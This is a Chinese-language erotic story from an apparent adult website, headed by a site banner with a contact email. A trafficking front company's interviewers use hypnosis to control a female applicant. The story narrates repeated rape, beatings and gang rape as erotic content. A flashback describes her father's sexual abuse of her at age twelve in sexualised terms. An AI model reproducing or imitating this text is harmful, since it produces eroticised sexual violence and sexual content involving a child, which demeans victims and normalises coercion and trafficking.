未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

噩梦第一部

<font face="楷体,标楷体"

  噩梦第一部之应聘的陷阱作者:寒江徐婕妤心头无缘无故泛起不安的感觉。 按理说,她来应聘的这家公司是国际知名的跨国旅游集团,信誉度很高,不会有什幺问题,那幺是竞争对手太强?她在外面已经注意到来应征的固然不泛美貌与智慧并重的人,但以她工商管理硕士的头衔、26岁就从事了5年高级企业管理的经验和一副骄人的身材来看,对自己她是有充分自信的。难以想象以重视人才着称的这家外资企业会轻易放过她这颗金子。

    那幺,不安是来自坐在对面的两位主考官了?

    其实他们并没有什幺怪模样,一个姓潘的中年人一直坐着到现在也没出身,削瘦的脸上总是阴沈沈的,反而另一个胖乎乎的年青人很热情,就是他在她进来时起身打了招呼,并主动介绍自己姓杨,还一再叫她别紧张,题目很简单。徐婕妤心裏有些好笑,闯蕩商海这幺多年了,什幺风浪没见过还会紧张,同时又有些生气,让这样的毛头小子来考自己简直是一种轻视。难道这家公司真的如此缺乏人才,抑是这两个人是深藏不露看走了眼?

    她不禁想起看到那张招聘表时的情景。

    徐婕妤常有生不是男人之歎,女人通常苦求不得的美貌在她而言是一种长期的困扰,纵使她再有能力,好几次力挽公司于狂澜之中,最终也都因男上司或大客户的性搔扰而黯然去职,次数多了她简直对这座堕落的城市、这些堕落的人群失去了信心,出国另图发展的念头一旦出现就再也无法泯灭,恰在这时她从报上看到了一则广告:「美国TTP跨国旅游集团急招长踞日本业务高级主管一名,条件女性,30岁以下,1米65以上,本科学曆,有从事...正合她意,于是不顾原公司的极力挽留毅然辞职前来应聘,来之后才发现这家公司开出的条件实在太诱人,前来应聘的白领丽人竟是川流不息,她向来不惯这种场合,差点要打退堂鼓了,幸好第一轮初选下来淘汰大半,她以第一名的身份进入了最关键的面试关。

    闻着周围扑鼻而来的脂粉香,想不到自己也沦落到这幺庸俗了,徐婕妤不乏自嘲地想。

    在徐婕妤心下寻思的时候,那两个主考官也在偷偷打量着她,面前的桌面上放着几份表格,一份是徐婕妤自己填写的履曆,一份是评分表,另外还有一份遮遮掩掩压在下面的,──竟也是一份评分表,上面的内容複杂得多,如果徐婕妤能够看得到她会当场震惊并羞怒难当,原来那上面写的几大栏是:美貌度,性感度,可调教度,可控制度...下面还分了若干小标题,包括全了女性的各个部位和外表器官。

    现在第一栏的美貌度下面已经用笔重重地划了五个圈。杨姓年轻人笑咪咪看着对面那双被半透明丝袜包裹着的修长玉腿就象面对一道美味可口的大菜心情十分愉快。那张樱口一张一合就想象自己的阳具在裏面抽插,爽,真爽。没脱衣就有如此性感。看来今天的花魁非她莫属啊。

    突然他的脚被踩了一下,随即看到徐婕妤微皱眉头的表情,失态差点误事,他警惕地清醒过来,该抓紧时间上正题了。

    ──老潘,该你问了。

    潘姓男子点了点头。

    ──徐婕妤,你看着我,对这双眼睛有什幺想法。

    徐婕妤听到如此怪的题目,不禁深深地向那老潘那双象猫一般收眯成缝的小眼望去,突然,那双眼睛睁大了,越来越大,越来越深,深邃得就象清冷的宇宙,周围黑漆漆什幺也看不见,好象自己一直在这无边的黑暗和孤独中徘徊。她好想哭。别哭,孩子,到这儿来,到你梦想的天堂来,一个声音,好象妈妈的声音从遥远的天际传来,那裏同时好象微微透露出一丝光线,那幺柔和,温暖,象妈妈的手在牵引她朝光线走,走。

    看着徐婕妤本来清澈透亮的大眼睛变得迷乱,小杨知道潘师又成功了,对这个身怀迷一般强劲催眠术的男人不禁又敬又怕,小杨对他一无所知,只是隐约听说总部相当倚重一个身怀特异功能的人,这次总部突然决定让他们两人合作,小杨以为是总部对他的不信任,起初并不服气,后来才知道是自己多虑了。

    这家所谓的TTP公司表面上确如人们所想的长袖善舞,从一家无名的小旅游公司短短几年裏就成长为一个大托拉斯,总裁托尼.福布斯立即成为大小媒体竞相报道的新传奇人物,然而人们并不知道这家公司与国际贩毒和卖淫集团有着千丝万缕的联系,这才是TTP公司真正的财源,他们和一般的卖淫集团不同,盯上的对象都是那些有知识有气质的现代都市女性,每年都要从世界各地用包括招聘在内的各种名目把这些优秀的女人骗去充当性奴隶供那些挥金如土的富豪们发洩兽欲,正因为这些女子过去的社会地位远远高于一般的妓女,格外能满足这些男人的征服感,因此生意也是出奇地好。

    但是最近国际刑警组织好象嗅到了一些蹤迹,相继打掉了一些地下交易场,损失惨重。虽然没能真正追查到TTP头上,但也迫使托尼逐步将重心从欧美转向亚洲,第一个重要举措就是急于补充淫源,把轻易不出山的潘大师派来协助小杨就显示了托尼志在必得的决心。

    ──你的身体是属于神的,你的意志是属于神的,没有神的意愿,你永远也不愿从沈睡中醒来,我,就是神;我身边的这个人也是神。神只要说一句,神笑了,你要听从神的吩咐,你要听从神的吩咐...

    ──你就是神,你就是神...

    徐婕妤跟着潘师梦呓般地念着,眼睛发直,漠无表情,两手环握得紧紧的,象虔诚的教徒小心地守护着一个信念。

    ──现在,你记住,你是母狗。

    ──我是,徐婕妤。

    潘师再催加一道意识波。

    ──你不是徐婕妤,徐婕妤抛弃你了,你现在被神收养的母狗。

    ──……我是,母狗……

    ──很好,再一次告诉我,你是谁?

    ──我是,母狗。

    潘师点点头,脸沖小杨微微地扬了一下,表示他可以开始了。

    小杨第一次跟一个被控制了心智的美女接触有一种奇异的感受,说话也有些颤抖。

    ──母狗,你,是不是,觉得穿着衣服很累。

    ──……累。

    ──那脱掉好吗?

    ──好。

    徐婕妤站起来,还是那副茫然的表情,缓缓地将自己身上的衣裙除去,在小杨的诱导下,先是上衣、乳罩,短裙、白色的三角内裤,连盘头也解了下来,长长的秀发披洒一肩,小杨很奇怪地要她保留了黑丝袜不脱,又穿上高跟鞋,一个全身赤裸,美得不可方物的女体毫无戒心地站在两个男人面前,浓郁的体香在室内弥散,雪白的肌肤和黑色的长丝袜更是给这尤物增添了几分强烈的性感和神秘的诱惑。

    潘师对小杨颇为赞许,催眠术到了大师境界,固然可以强行命令做任何事,但耗神又效果不佳,诱导才是最主要的方法,他仅仅跟小杨说了个大概原理,没想到小杨就能灵活运用至此,此人的聪明才智不可限量,难怪总部对他如此信任。潘师本来没把这个胖子放在眼裏,现在也暗暗有了戒心。

    徐婕妤缓缓地在男人在命令下做着各种羞耻的动作,一会自己用手将雪白丰腴的乳房挤压在一起,一会又坐在椅子上将两腿大大分开,拔开林木森森的草丛,将女性最神秘的溪地翻露给男人看,一会转身弯腰,两手用力扳开自己的美臀,展示出自己淡红色的菊肛,一会又扳起一条长腿举过头顶,把胯间风景坦露无余。就象世间最淫蕩的妓女 一样将自己练过柔姿体操保持极好的美体就象牲品一样毫无廉耻地奉献在魔鬼面前。失去了神智的徐婕妤也不知是幸还是不幸,如果知道了自己所做的一切定会羞愤得当场自杀,当然,如果真有神智,她宁死也不肯做出这些屈辱的动作。

    小杨的下身涨得难受,肉棒在短裤裏蠢动不已,绝美的女体白得晃眼,好象从一开始就向他不停地呼唤,来干我吧,来干我吧。

    他实在忍受不了了,把笔一扔,拉开裤裢,一条丑陋的大家伙谑地弹了出来。

    ──爬过来,母狗,和我家老二亲热亲热。

    徐婕妤顺从地将四肢撑在地上,手脚并用爬了过来,桃形的白屁股一摇一摆,还真象一条俊俏的母狗,只是少了一条尾巴而已。徐婕妤趴到小杨胯下,不知如何亲热,仰起头等待进一步的指示。

    小杨抓住 一绺秀发,把她的头拖近来,命令她张开樱口,然后不管不顾地将肉棒硬塞进去。香软的口腔包裹着肉棒的感觉让他舒服得眯上了眼睛。

    在这瞬间,变故徒生,一直处于迷茫状态的徐婕妤象受到巨大的震动一样突然浑身一颤,神色剧变,神智就此恢複,可怜她马上就发现自己嘴裏竟含着男人丑陋的性器,一股杂合着尿骚和性臭的恶心气味扑鼻而来,她还来不及感到羞耻就狠狠地咬了一口,然后跳起来就跑。

    ──哎呀!!我的妈!快,抓住他。

    小杨悴不及妨受此奇袭,痛得捂住老二惨叫起来,眼见徐婕妤要逃跑,情急之下顾不得疼痛就一个饿狼扑食沖上去将她压倒在地,徐婕妤刚才本有机会逃出门外呼救的,一则她毕竟有羞耻心,不愿赤身露体就沖出去,所以先跑到放衣服的地方,二则受控时间太长,身体有些虚弱,所以片刻间又受制于人。

    被小杨近两百斤的体积压在身上,徐婕妤根本动弹不得,只有不甘心地作着微弱的挣扎,拼命喊:

    ──救命,放开我!救命。

    小杨任她呼喊,毫不耽心会让门外的人听见,麻利地将徐婕妤双手反剪捆了起来。这间房子经过特殊加工,根本就不透音。他后怕的是如果刚才徐婕妤不顾一切抢先出门的话,一切秘密都将暴露无疑,总部对洩露机密的惩罚有多严酷他是清楚的,可以讲甚至比死更可怕。越想到此越害怕,加上刚才被狠咬了一口的肉棒,虽然太仓促没咬出血,但也留下了几颗深深的牙印且疼痛难忍,不禁怒从心头起,顺手就是一个耳光抽了过去,玉颊上立马留下几道浅红印。徐婕妤不再作声了,一双妙目充满屈辱和愤怒倔强地瞪视着面前这个不久前还在心裏取笑过的恶魔。

    一直没作声当作什幺事也没发生的潘师这时站起身来,施施然走到被紧缚的女人面前。伸出一支枯瘦的手指擡起她的下颌。徐婕妤又想扭过头去,不知为什幺那手指上有种神秘的力量使她一动也动不了,而且眼睛都不能眨。

    ──神笑了。

    象念咒一样,徐婕妤一听到这句话,眼神渐渐又陷入迷乱,紧绷的身体也渐渐松驰下来。

    ──大师,您老人家怎幺也镇不住啊。

    看着小杨颇有些责怪的神情,潘师阴沈着笑了笑。

    ──是有些出乎我的意料,一般来讲,大多数的女人我只要初等意识波就可控制有余,这个女人我开始就发现不太寻常,没想到用上了中等意识波居然还让她找到机会逃脱了。厉害厉害。

    ──为什幺前面控制得挺好,中间突然不行呢?

    潘师沈吟了一下说:

    ──有两个原因,一是她的意志力特别强,只有控制时稍疏忽就会逃逸;另一种是曾经受过很大的刺激,只要正巧遇到刺激点她就会受到很大的震动,一旦自身的力量超过控制的力量就会清醒。从她的情况看应该是两种情况兼而有之啊。你把她放开吧,现在一切都在我的掌握之中,不会再出问题了。

    小杨解开绳子,恍有所悟。

    ──您的意思是,她不能留?

    潘师蹲下来,黑黑的长指尖从徐婕妤雪白的肌肤上划过,从乳峰一直划到下阴,徐婕妤睁着空洞的双眼毫无感觉。

    ──果然是极品,也难怪你舍不得。

    潘师答非所问,忽然换回那张死气沈沈的脸。

    ──但是她的意志力这幺强,极难控制,随时可能清醒,如果把她送去做奴隶,很可能出岔子,你担得起这个责任吗?

    小杨脸色变了几变,最后咬咬牙。

    ──好,既然老子以后玩不到你,现在就玩个够。

    他三两下就把下身脱个精光,命令徐婕妤躺在地板上左手握左脚踝,右手握右脚踝,自己把大腿极度地分开,然后也不打算湿润,就将肉捧从她狭窄的小道硬塞进去。

    ──啊~~~~~~~~~~~~

    徐婕妤神智虽失,反应也不如平时敏感,但过度的痛苦还是使她惨叫了出来,干涩的磨擦就象打!机一下接一下钉击着她的肉体和神经,小杨双手紧紧地抓住徐婕妤两团软软的乳肉,飞快地抽擦,每一下都死命用力,插入极深,好象要把睾丸都要挤进徐婕妤的肉壁裏去。如果说起初他惊豔于她的美貌还有些怜香惜玉的话,现在干脆就是报複性的恶虐了。徐婕妤脑海十分混乱,痛苦得脸都扭曲了, 一种极其屈辱的感觉挥之不去,终于,两行清泪禁不住流了出来。

    潘师不动声色地看着这两具扭成一团的肉体,他对小杨的急色并不以为然,同时也惊诧于徐婕妤的意志,在他深度的催眠力下居然还有类似屈辱的反映,太可怕了,大师越发肯定了自己刚才的结论。

    小杨兴奋之下并不耐久战,片刻就将一泡汙浊的精液射向女人身体深处,这才长吁一口气从她软软的身子上爬了起来,经过刚才一阵激战,两人都是浑身大汗,不同的是徐婕妤没接到指令前只知道依然大张着白嫩嫩的大腿,摆出一副欢迎君再来的姿态,任凭阴道裏还在流淌出白浊的精液。而眼神深处则还在闪烁着泪光。

    潘师摇摇头。

    ──小杨,象你这样玩法哪个女人都会废了,也没情趣,看我示範。

    他转向徐婕妤。

    ──母狗,你回到了童年,真艰苦啊,没东西吃啊,你饿了,好想吃到奶呀,可是怎幺也找不到吃奶的地方。

    ──我饿。

    徐婕妤美目充满了饑渴。潘师指着自己的胯下说:

    ──你终于发现,你要的奶就藏在这裏。

    徐婕妤从地上爬起来,跪在大师面前。急切地拉开裤裢,毫不犹豫就将他的肉棒吞到嘴裏。

    ──你使劲地吸,每一下都恨不得吸到喉咙裏,兴奋啊,兴奋得淫水都流出来了,你在抚摸自己,啊,流了好多好多淫水啊。

    在潘师的引导下,徐婕妤果然使劲用小口套弄着大师的肉棒,不用潘师动,她每一下都吞得极深,脸颊凹进大半,自己极不舒服,也想呕,但就是不明白自己为什幺要这样做,同时她的两手还在不停地乳峰、下腹间游走。

    这副画面实在淫蕩之极,小杨看得眼睛都直了。他根本想象不到催眠还有如此效力。刚刚疲软的阳具又神气活现地昂了起来。他蹲下身狎玩着女人的花瓣,发现果然片刻间那裏已泛滥成灾。甚至连菊肛也湿漉漉的,他把女人的臀部提到合适的位置,一边学着大师的样子也送出一道指令。

    ──你觉得肛门好痒,唉呀,痒得难受,很想有根什幺粗大的东西填进去。

    徐婕妤屁股扭动起来,从菊肛裏渗出更多的粘液。小杨看看火候已到,这次不象刚才那幺猴急,慢慢向菊花门裏推进。但从未经人事的后门又如何能突然挤入如此粗大的不速之客呢,女人还是痛得闷哼一声,不是潘师把她的脸颊捏得快,只怕大师的神棒也要挨上一咬了。

    这情形实在是凄惨,一个全身只剩下丝袜的美丽女子象夹心汉堡一样被两个丑陋的男人一前一后地肆意玩弄着,过去她引以为傲的美丽肌肤现在每寸都被猥亵地摸过,女硕士不存在了,管理界的女强人不见了,只有一具打满性标记的女体象母狗一样在挣扎悲鸣,更可歎的是这种挣扎还是无意识的。

    终于安静了下来,小杨命令徐婕妤将他肉棒裏最后一粒精子也吞进肚子裏,然后用温软的舌头将肉棒舔得干干净净方才放过已经疲惫不堪的女人。他看了看早已整理好衣衫又恢複阴气的大师,询问潘师怎幺处理这个女人,经过这些事,他已经感觉这个神秘的男人才是真正的主管,对情势的转移他也无可奈何。潘师打开换气扇排掉满屋浓烈的性臭味,不在意地说,

    ──两个办法,一是放她走,二是留下来给你慢慢玩。不过这个女人太危险啊,总部是不能送,你自己也要小心为上。

    这只老狐狸,明明自己也迷恋上了这个女人的肉体,偏偏要把屎盆子扣到他头上。但是他有选择吗?小杨心中暗骂,表面上却是一团和气,颇为领情。

    ──大师说的是,您说这个女人危险,说不定放她走后又想起今天的事来那就更糟,我看只有大师能降服她,要幺大师作出点牺牲,把这个女人留在身边,慢慢磨练,或者是个好鼎炉也说不定。

    潘师这才阴笑了几声,好好,小子还算上道。他转向周身汙浊的徐婕妤,向她送了一道複杂的指令。

    ──现在你记住,你清醒之后,将永远不会记住从你进来后发生的一切,也永远也不能去回想在你身上发生了什幺,但是你永远都不能忘记你是神的奴隶,是神的母狗,只要神有召唤你就要乖乖地回到他身边,听从他的一切召唤。现在你把自己身上清理干净,然后我说神哭了,你就清醒过来,听明白了吗?重複一遍。

    徐婕妤机械地重複了一遍,毫无感情色彩,看着这个美豔的女人即将成为大师的禁脔小杨禁不住怒火中烧。女人默默地用自己内衣擦去身上的汙浊,然后又一件件地穿上。

    ──神哭了。

  ****************************************************************

    一切恢複了愿状,眼前依然还是那两个主考官,瘦的依然阴沈,胖的却不笑了,徐婕妤不明白的是刚才好象做了一场梦,一场恶梦,但梦裏发生了什幺根本记不起来,而且不敢不想,只要不想就头疼欲裂,她不明白自己怎幺会全身疼痛,不明白本来洁净的内衣怎幺会感觉湿滑不整,不明白自己怎幺突然想要虚脱,想要作呕,更奇怪的是她根本不能将这一切怪现象联系到面前这两个考官身上,而明明他们是最可嫌疑的。现在她什幺也不想了,只想早点离开这个鬼地方。

    对她突然以不适请辞,考官好象在意料之中,也没有多加挽留,只淡淡地说了句遗憾。

    大门在她身后合上了,徐婕妤却并没有喜悦之感,反而恐怖地意识到,也许有一天自己还会回到这裏的。

    ──下一位。

  噩梦第一部之小杨与潘师 (上)

    灯光昏暗的地下室走廊,不时有女人的惨叫和呻吟声引起低沈的回响。

    一条长长的黑影悄无声息地在幽明间穿越,上台阶,打开一张秘密小门钻了出去。

    眼前一亮,裏面原来是通往外界的办公室,一个胖胖的年轻人正慵懒地斜躺在老闆椅上欣赏对面的大萤幕电视,画面明显是偷摄的,几具赤裸的肉体在翻滚,不多时便分辨出是一男和三女,接着镜头拉近,特写出一张被酒色淘空的中年男子苍白的面孔。

    听得身后声响,胖子头也不回:「潘师,第二批送往总部去的女人都準备妥当了吧。」

    高高瘦瘦的中年人漠无表情地说:「快了。-」

    「没想到堂堂的警察署长被我们略施美人计就摆平了,有了这卷带子不怕他不就範,哈哈哈~~随即又歎了口气,「可惜还有张市长那老顽固,油盐不进,把老子逼急了就哢,一拍两散。」他比了个抹脖子的动作。

    潘师不理会胖子的牢骚,他从不怀疑小杨的能力,但却有些厌恶他的残暴,两人因此总有些面和心不合。随手翻了翻散落一桌的报刊杂誌,突然最新一期的《都市风》封面上大幅丽人图牢牢抓住了他的视线,大标题是:

    「最年轻最具魅力的当家人 白领丽人徐婕妤新任晶天大酒店副总裁」

    晶天大酒店18楼,副总裁室。

    「对不起,这裏不欢迎你,请你出去。」

    徐婕妤冷冷地对坐在对面的男人说。

    为什幺,事隔这幺久又要让这个人来撕开刚刚癒合的伤口呢?

    一年前她从TTP失魂落魄地回来之后,梦魇就挥之不去了,身体的异样,衣裙的淩乱只能反映同一个可怕的事实,而更可怕的是她竟无论如何也想不出也不能想那天发生了什幺,只要想一想就会头痛欲裂。恶梦,一个接一个的恶梦,几乎击垮了她的精神和身体。后来在朋友的力荐下,她到了晶天大酒店,终于在近乎疯狂的工作中走出了低谷,又因积功在最近升任公司副总。就在她满怀希望地走向新生活的时候,秘书小丽告诉她有人来访,而后她看到了一张这辈子永远也不想再见的削瘦的脸。

    --潘师。TTP的主考官。

    噩梦的气息在空气中隐隐浮动。

    面对这个周身邪气的男人,她从心底升起无法遏止的恶寒和恐惧,连表面的镇静也快无法维持了。

    「徐总-」潘师对徐婕妤的逐客令置若罔闻,却在玩味刚才漂亮的女秘书通报时对她的称谓,「好,名字好,人更好。」

    「看来要保安来请你了。」

    「你不想知道应聘那天到底发生了什幺事吗?」一句淡淡的话僵住了伸向电话的玉手。

    徐婕妤抿着嘴不作声,也没有继续动作,无异于默认了,她太想知道又害怕知道那缠绕了一年的噩梦到底是什幺。

    「简单来说,你被催眠了,我想不用再解释催眠是怎幺回事了吧。」潘师嘴角微微一裂,像在嘲讽,「然后,我们做了很多男人应该做的事,当然啦,你也基本上很配合,可是,没想到的是中途你会突然脱离控制,对于这一点我很好奇,你能告诉我为什幺吗?」

    「卑鄙!无耻!」徐婕妤猛然将握在手中很久了的玻璃杯砸向潘师,俏脸被怒火和屈辱烧得通红,她无法置信真会有人当着受害者的面赤裸裸地坦陈如此卑劣的勾当,而且还毫无愧色。她现在第一个念头不是报警,而是找一把利刃狠狠地刺进这个禽兽的胸膛。

    潘师轻轻巧巧地接住杯子,深深凝视住徐婕妤因愤怒而瞪大的眼,随口念出一句咒话:神笑了。

    徐婕妤浑身一震,思维就象被突然耸起的高山截断,意识丧失的一剎那,她只能短暂地想起那双眯缝小眼中突然闪现出来的精芒,把她的意识裹胁进了无尽的黑洞。

    潘师静静地看着徐婕妤从扭曲複归平静。一年了,潘师协助小杨在阴谋和血腥中打天下,终于在这个罪恶丛生的城市扎下了根,但是作为男人,他忘不了这张销魂的脸,作为精神控制大师,他更无法容忍在这个小女子身上栽的跟头,这是他唯一的一次失败。解铃还需系铃人,他要从徐婕妤身上找到问题的癥结。

    他拍拍手,「好,站过来。」

    徐婕妤顺从地走到潘师面前,姣美的面孔,高挑的身材配上面料名贵、做工精细的黑色制服裙装显得仪态万方,卓然不凡。就是阅女无数的潘师也禁不住食指大动。

    「现在让我们把历史重演一遍吧。把衣服脱掉。」潘师的声音变得格外轻柔,富于诱惑。

    徐婕妤机械地擡起手,解开了第一粒纽扣,上衣滑落在地,然后是白衬衣,胸罩,外裙,长腿肉色丝袜,乳白色缕花内裤。每脱掉一件衣物,潘师的呼吸就要粗重一分,最后当一具体香浓郁成熟饱满的赤裸女体无遮无掩完全呈现在男人的视线之下时,潘师已经把持不住,竟有了跪下来抱住那双修长的玉腿痛哭的念头。

    太惊奇了,一年的折磨不仅没有减损女人丝毫的风采,反而去掉了仅有的一点青涩,使这具肉体更加饱满风韵,富于成熟魅力了。

    潘师连吸了几口长气,强压住心头的躁动,拉下自己的裤链,掏出粗大的肉棒。

    「很好,再来,舔舔它。」

    徐婕妤毫不迟疑地跪下来,沖着怒张的龟头张开樱口。

    就在接触的一剎那,徐婕妤突然神色变成了厌恶,而后矍然一惊,把头猛然向后仰去。

    潘师早有防备,在徐婕妤还来不及起身逃奔的时候就一指切在她的后颈穴位上上,女人立时昏迷在地。他侧耳听了听,屋裏异常的响动还没有惊动外界,不过倒也使他清醒过来,这裏随时都可能有人闯进来,光天化日之下就在这个女人的办公室淩辱她是不是昏了头啊。

    他蹲下身,不无遗憾地抚摸着躺在地毯上雪白的胴体,然后把她弄醒,在她神智不清的时候又贯输进穿好衣物,两分钟之后清醒的命令。

    两次,两次都是在口交时出的问题,看来口交是她的一个心理障碍了,要想真正控制住这个女人,只有彻底摧毁这个心结。

    潘师沈吟着,看着徐婕妤慢慢穿好衣服在恢复常态,便推开门,施施然走了出去。

    「啊,啊~~~」

    夜很深了,别墅区43号住宅的卧室裏依然还是灯火通明,两具紧贴的肉体在作着拼死的搏击。除了斑斑汗渍外,女人下身处的床单都被淫水浸润了一大片,可见战况之激烈。

    上次潘师从徐婕妤处无功而返,一直心头惦念,利用情报网跟蹤到了她的住宅,再次控制住刚刚沐浴完的女人。儘管受制的徐婕妤百依百顺,但只要涉及到恐惧口交的来源就会或缄默不语,或痛苦万分,纵有千般手段也无济于事,看来精神控制也不是万能的,潘师决定用到最后一招,情欲挑逗。男人在一洩如注的时候最软弱,女人在欲火高炽的时候最脆弱,多年的经验已是百试不爽了。

    于是他用意念唤起女人情欲的萌动,用银针刺穴打开女人的阴关,等到前戏做足,徐婕妤已是情迷意乱不能自拔了,潘师依然不动声色地挑逗她,总是在她快要攀至快感顶峰的时候收手,又继续,又收手,女人被汹涌的欲念折腾得死去活来。

    「来呀,给我──」欲火中女人的嗲声真是销魂刻骨。

    潘师看到火候已到,耸身而上,肉棒噗溜一下顺顺滑滑地贴着洪灾泛滥的肉壁插入一半,却又停下来原地打磨。

    这一下可要了徐婕妤的命,她近乎疯狂地呻吟,泪流满面,甚至不知羞耻地挺起下身去迎合。可是她进一寸,男人就退一分,就是不肯直抵花心。

    「啊──饶了我吧。-」

    「告诉我,你第一次口交给了谁?」男人的声音依然冷酷。

    「不...啊。」

    男人加大摩擦的强度,同时向徐婕妤的脑海不断发出催眠的指令。女人象蛇一样在床上扭动,一面受着欲火焚身的剪熬,一面在保护心底最隐秘的记忆在痛苦地挣扎。

    终于,女人的最后的意志崩溃了。

    「我父亲!啊...」随着女人长长的尖叫,潘师的肉棒也狠狠地捣向了花心深处,就象一道强闪电把一切劈成了灰烬。在巨大的刺激交攻下,徐婕妤晕死过去。

    等她悠悠醒转,秘密就象失贞的少妇般再也无所遮依了。

    徐婕妤出生在一个书香门第,在她十二岁那年,一场车祸使母亲全身高位瘫痪,不仅不能人道,而且苍老得快,四十不到的她看上去象老太婆,父亲一个人忙前忙后也没有什幺抱怨,就是生理需要得不到发洩。母亲病后,小婕妤便伴着父亲睡,天真纯洁的心灵根本想不到因为发育得早,小荷才露尖尖角的玲珑曲线常常让父亲辗转反侧彻夜难眠。一个夜裏,酒醉的父亲终于按捺不住欲火,强行将阳具插进了睡梦中女儿的小嘴...此后,虽然小徐婕妤一再地抗拒,父亲也一再地忏悔,但习惯的力量使他一次又一次地重复着这件肮髒不道德的事情,在小婕妤的幼小的心裏蒙上了沈重的阴影,也越来越恐惧回家,经常跷课。这件事终于被母亲发觉了,万念俱灰,父亲再怎样忏悔也无济于事,终于用唯一能微弱地动一下的左手服食过量的安眠药自杀。小婕妤认定是父亲杀害了她最爱的妈妈,从此对这个有着血缘却无比陌生的男人痛恨至极,离家出走,投奔了几千里之外的乾娘。由于乾娘家境较好,把她继续培养深造,她也勤力苦读,终成女中英杰。

    不过此事不为人知,且父亲一直风评很好,反而在宦途上一帆风顺,据说他受此打击后,洗心革面,终身不娶,用多行善事来赎回罪恶,却无论如何也赎不回女儿的心了。

    徐婕妤环抱着肩,缩成一团,刺猬一旦拔掉了刺,剩下的只有脆弱。潘师忍不住对这个不幸的女子起了恻隐之心。

    「你父亲...」

    「他不是我父亲,他是禽兽。」也许仇恨的力量真的能焚毁一切亲情。

    「嗯,那个男人,他叫什幺名字?」

    「张,明,远。」徐婕妤一字一顿。

    这下轮到潘师沈不住气了,「张明远,你说的是不是市长张明远。」

    徐婕妤嘲讽地一笑,「不是他还有谁?」她完全没有意识到潘师在她讲述的时候就没有用精神控制了,她也本该很恨身边这个汙辱了她多次的男人,不知什幺原因她发现自己没有想象中的恨,反而与他推心置腹,有问必答,有象对知己坦诚压抑多年的心事后的如释重负。也就是说,潘师成功地将控制状态中的意念潜移默化到了现实清醒的徐婕妤意识之中。

    「张市长,你的死穴找到了。」潘师喃喃地说。

    「你说什幺?」

    「没说你,我们再来。」潘师一翻身将徐婕妤又压在了身下...

  噩梦第一部之小杨与潘师 (下)

    「笨蛋,你们都是吃屎的。」小杨在办公室裏踱来踱去,大发雷霆。

    「潘师这幺大活人,连接几天到哪里去了你们不知道?」

    几个手下人缩在一边大气也不敢出,「我们真不知道啊,潘师一个人走时没有交待,我们也不敢跟蹤。」

    门敲了几下。

    「滚进来。」

    又一名显得较精悍的手下拿着几张照片走进来:「杨总,找到了,潘师应该在晶天大酒店的徐副总那裏。」

    「哪个徐副总?」

    手下人递过照片。小杨第一眼看了就赞:「这妞不赖呀,怎幺早没弄到手?」待再看几眼就认出来了,「哼哼,老狐狸,当初坏我的好事没与你计较,想不到今天溜去吃独食了,哼。」

    小杨仰头想了想,断然说:「备车,老子也要来个月下访美人。」

    「铃……」

    裏面的门开了,一个冰山美人隔着铁栅栏出现在小杨面前,看样子刚刚沐浴过,鬆散的睡衣用带子随意挽了几度,一抹酥胸,几点春光就让小杨升腾起难以遏制的欲念。

    「你找谁?」陌生人让徐婕妤觉得很厌恶,声音也是冰冷的。

    「我找一个瘦瘦的男人。」小杨嘻皮笑脸地说。

    「找错人了。」

    就在徐婕妤要转身关门的时候,小杨也念出了那句控制咒语,「神笑了。」

    女人果然顺从地打开了门,小杨立即在屋裏逡巡了一遍,果然不见潘师的蹤影。老狐狸溜得可真快呀。

    他返身面对肃立不动的徐婕妤,满面挂满了淫笑,「宝贝,咱们可别辜负了这良辰美景。「两手拉住女人的衣领往左右一扯,香喷喷的肉体就纤毫毕露玉立于前了,比剥香蕉皮还利索。小杨挽住她的大把秀髮朝后猛扯,徐婕妤禁不住痛得啊了一声,只能顺势把身体弯成反弓,原本已很丰满的乳峰挺立得更加高耸,小杨俯下头吮吸她的香唇,又移到小巧的乳头,很温柔地用舌尖逗弄,香软的乳头渐渐也硬立起来。另外一只手扣住了徐婕妤饱满的阴阜,感受着从美女隐秘之处传来的热量和舒服的毛茸茸的触感。

    「感觉真好。」他歎着气说。

    突然,他猛地将抚弄阴户的那只手攥成了拳头,狠狠地击打在徐婕妤柔软的小腹上,徐婕妤立时捂住肚子瘫软在地,痛得满脸惨白。

    「贱人,母狗,老狐狸,你想先上,想独佔,没门,跟我斗,哈哈」小杨擡脚往女人身上乱踢,嘴裏还不知所云地骂,门外两个手下本来被火爆的场面挑动得小弟翘翘,这下子以被他的变态吓了一大跳。

    就象莫名其妙的发作一样,他突然又停了下来,恢复了温文尔雅的模样,扭头对手下人邪笑道:「别急,待会儿有你们乐的。」

    徐婕妤躺在冰冷的地下,身上平添了几处伤痕,然而受制的身体是不懂得反抗的,只有眼角凝起的泪珠或许可以表达她此刻无望的酸楚。

    又是清晨,每天的太阳都是新鲜的,照在徐婕妤身上却没有丝毫温暖的感觉。

    她在对着穿衣镜打扮,她把如瀑的长髮披洒下来,化上浓装,穿上黑色的吊带装和超短裙,呈现出从未有过的性感,如果此时有熟人在场,他根本就认不出这是昔日高雅脱俗的女强人,还是个卖弄风骚的妓女。

    打扮停当,她开车出门,目的地不是往晶天大酒店,而是TTP旅游公司。

    下车,上楼,一路上都有异样的目光和龌龊的笑容,她视而不见,直至走到了那扇房门前,那扇注定了她的宿命的熟悉的房门前。

    第一次敲响这扇门,那时的她充满了自信和希望。离开时却充满了迷惘和伤痛。

    今天,她又来了,可是,她明白自己为什幺要回来吗?或者,她有能力自 己决定来不来这裏吗?

    徐婕妤什幺也回答不了,只有潜意识中的一个严厉的声音在不断地催促她,快进去,快进去!

    依然还是应聘时的那间办公室,依然还是胖乎乎满面堆笑的主考官小杨,只是少了另外一个人而已。

    小杨眼前一亮,这正是他所希冀的结果。昨天晚上,他和两个手下疯狂地玩弄着这个难得的美肉,从她身上,小杨得到了在其他女人身上无法得到的更高的快感,那真是魔鬼的盛宴。足足几个时辰,把女人从头到脚都糊满了腥臭的精液方才兴尽而返,但猎手小杨并不会就此善罢甘休。利用潘师轻描淡写传给他又经他自己理解创新的催眠术给徐婕妤下了一道指令,叫她在第二天上午打扮暴露到公司来见他。这是小杨牛刀小试,效果怎样心裏也没底,看到焕然一新的徐婕妤,他知道自己成功了。

    徐婕妤坐在小杨对面的椅子上,再度进入催眠。

    她上衣的吊带已经扒下,两只富有弹性的丰满的乳房傲立于人前,嫣红的乳头随着呼吸起伏,似乎在轻轻颤抖。

